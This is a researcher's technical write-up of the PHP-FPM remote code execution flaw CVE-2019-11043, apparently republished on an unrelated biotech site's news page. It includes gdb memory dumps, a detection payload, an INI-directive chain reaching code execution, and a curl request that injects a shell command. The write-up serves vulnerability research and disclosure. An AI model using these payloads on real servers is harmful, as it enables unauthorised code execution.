4000-520-616
欢迎来到免疫在线!(蚂蚁淘生物旗下平台)  请登录 |  免费注册 |  询价篮
主营:原厂直采,平行进口,授权代理(蚂蚁淘为您服务)
咨询热线电话
4000-520-616
当前位置: 首页 > 新闻动态 >
新闻详情
Orange
来自 : blog.orange.tw/ 发布时间:2021-03-24
So, the Nginx configuration greatly affects this vulnerability. For the obstacle No.1 and No.3, it s hopeless and unexploitable. About how to improve obstacle No.2 and No.4, we leave it for the last section!
However, a fun fact is that if you install the Nginx and PHP-FPM on Ubuntu(16.04/18.04) thought the apt package manager. You can remove just one line(try_files) and make your service vulnerable :P
B. Vulnerability verification problemBefore exploiting the target, we need to check if the target is vulnerable or not. Because the remote Nginx configuration is unknown, we need to find a reliable way to trigger the environment overwrite. Here the author leverage the double buffer mechanism!
As I mentioned before:
If the buffer reaches the end(pos end). PHP-FPM creates a new buffer and put the previous one to the structure member fcgi_data_seg- next.The neex s exploit enlarges the QUERY_STRING to force PHP-FPM allocate a new buffer and therefore place the PATH_INFO buffer at the right location. As long as the PATH_INFO is on the top of the new fcgi_data_seg- data buffer, we know the offset from the PATH_INFO to fcgi_data_seg- pos is 34.
We fixed our PATH_INFO length to 34 so that we can exactly place the null-byte in the right address. Due to the PHP-FPM implementation, the HTTP headers must be right after the PATH_INFO, and we can designed the context like:
gdb-peda$ x/10s request.env.data.data0x55c8cc0e74d8: \"PATH_INFO\"0x55c8cc0e74e2: \"\"0x55c8cc0e74e3: \"HTTP_HOST\"0x55c8cc0e74ed: \"127.0.0.1\"0x55c8cc0e74f7: \"HTTP_DUMMY_HEADERSSS\"0x55c8cc0e750c: \'A\' repeats 11 times 0x55c8cc0e7518: \"HTTP_EBUT\"0x55c8cc0e7522: \"NOGG\"0x55c8cc0e7527: \"ORIG_PATH_INFO\"0x55c8cc0e7536: \"\"gdb-peda$ x/6s request.env.data.pos0x55c8cc0e7500: \"Y_HEADERSSS\"0x55c8cc0e750c: \'A\' repeats 11 times 0x55c8cc0e7518: \"HTTP_EBUT\"0x55c8cc0e7522: \"NOGG\"0x55c8cc0e7527: \"ORIG_PATH_INFO\"0x55c8cc0e7536: \"\"
We then adjust the length of HTTP_DUMMY_HEADER to exactly overwrite the HTTP_EBUT and its value to PHP_VALUE\\nsession.auto_start=1;;;.
This is the memory view before the environment variable is written on fpm_main.c#1165.

gdb-peda$ p *request.env.buckets hash_value = 0x7e9, var_len = 0x9, var = 0x55c8cc0e7518 \"HTTP_BBUT\", val_len = 0x4, val = 0x55c8cc0e7522 \"NOGG\", next = 0x55c8cc0e4aa0, list_next = 0x55c8cc0e4c80
This is the memory view after the environment variable is written.

While the session.auto_start is changed to 1, we can just check the set-cookie header in HTTP response to know whether our exploit succeeds or not!
C. The length limitationAs we mentioned before, we fixed our PATH_INFO length to 34 so that we can exactly place the null-byte in the right address. The previous detect payload is good and short enough, and this is also the simplest detect method. It s also the first situation in our the PHP dispatcher section.
However, in another scenario, the URI must end with .php so that our payload must be less than 34 bytes. Otherwise, if we plus the the .php suffix, the original detect payload will become 35 bytes
PHP_VALUE\\nsession.auto_start=1;.php
Due to the length limitation, most of the INI stuff are too long, and building a code execution chain becomes harder :(
Improve the exploitAfter I had deeper understanding of this, I kept thinking if there is any way to improve the exploit.
A. The PATH_INFO sequential problemIt s easy. Because the PATH_INFO is ahead of QUERY_STRING, and there are no SCRIPT_FILENAME, SCRIPT_NAME and REQUEST_URI to interfere our alignment. We can just pad on the PATH_INFO itself to enlarge the buffer!
B. How to detect the vulnerabilityYou can just put a single newline in thePATH_INFOand increase thePATH_INFOandQUERY_STRINGlength(depend on situations). If the PHP-FPM crashes, that means you got it :PIf there is a PHPINFO page. To detect the vulnerability is more easy, you can just fetch the/info.php/%0a.phpand observe the$_SERVER[\'PATH_INFO\']is corrupted or not!C. Bypass the length limitationIt s not easy to bypass that. Due to the .php suffix, we have only two options. The first choice is building the payloads under constraint, and the other one is to bypass the constraint!
The first one is to build the payload under constraint. The neex s exploit leverage another CGI environment REQUEST_BODY_FILE to control more bytes on error messages. This is genius!
My method is to leverage the output_method directive. Here is the RCE chain I built:
inis = [ \"error_reporting=2\", \"short_open_tag=1\", \"html_errors=0\", \"log_errors=1\", \"output_handler= ?/*\", \"output_handler=*/`\", \"output_handler=\'\'\", \"extension_dir=\'`? \'\", \"extension=$_GET[a]\", \"error_log = /tmp/l\", \"include_path=/tmp\",
And the /tmp/l.php looks like:
[27-Oct-2019 13:55:05 UTC] PHP Warning: Unknown: failed to open stream: No such file or directory in Unknown on line 0[27-Oct-2019 13:55:05 UTC] PHP Warning: Unknown: function \' ?/*.php\' not found or invalid function name in Unknown on line 0[27-Oct-2019 13:55:05 UTC] PHP Warning: Unknown: function \'*/`\' not found or invalid function name in Unknown on line 0[27-Oct-2019 13:55:05 UTC] PHP Warning: Unknown: Unable to load dynamic library \'$_GET[a]\' (tried: `? .php/$_GET[a] (`? .php/$_GET[a]: cannot open shared object file: No such file or directory), `? .php/$_GET[a].so (`? .php/$_GET[a].so: cannot open shared object file: No such file or directory)) in Unknown on line 0
We put a lot of garbage into the backtick, of course, including our $_GET[a], so we can simply use the newline to execute arbitrary command.
curl \"http://localhost/index.php?a=%0asleep+5%0a\"
About the constraint bypass, my idea is to pop the previous environment onto the newly fcgi_data_seg- data buffer. In most Nginx configurations, the environment variable before PATH_INFO is usually REDIRECT_STATUS=200. So we can pop the string 200 onto the buffer and extend the controllable space size from 34 to 37 bytes! That s enough to fit all payloads including the .php suffix! This idea works on my local environment, and I am now trying to make exploit more reliable :D
OK, this is whole the detail about the recently PHP-FPM 2019-11043. If you have any further idea for making the exploit more reliable and exploitable, please let me know and contribute back to the original author s GitHub repo!

本文链接: http://orange.immuno-online.com/view-675284.html

发布于 : 2021-03-24 阅读(0)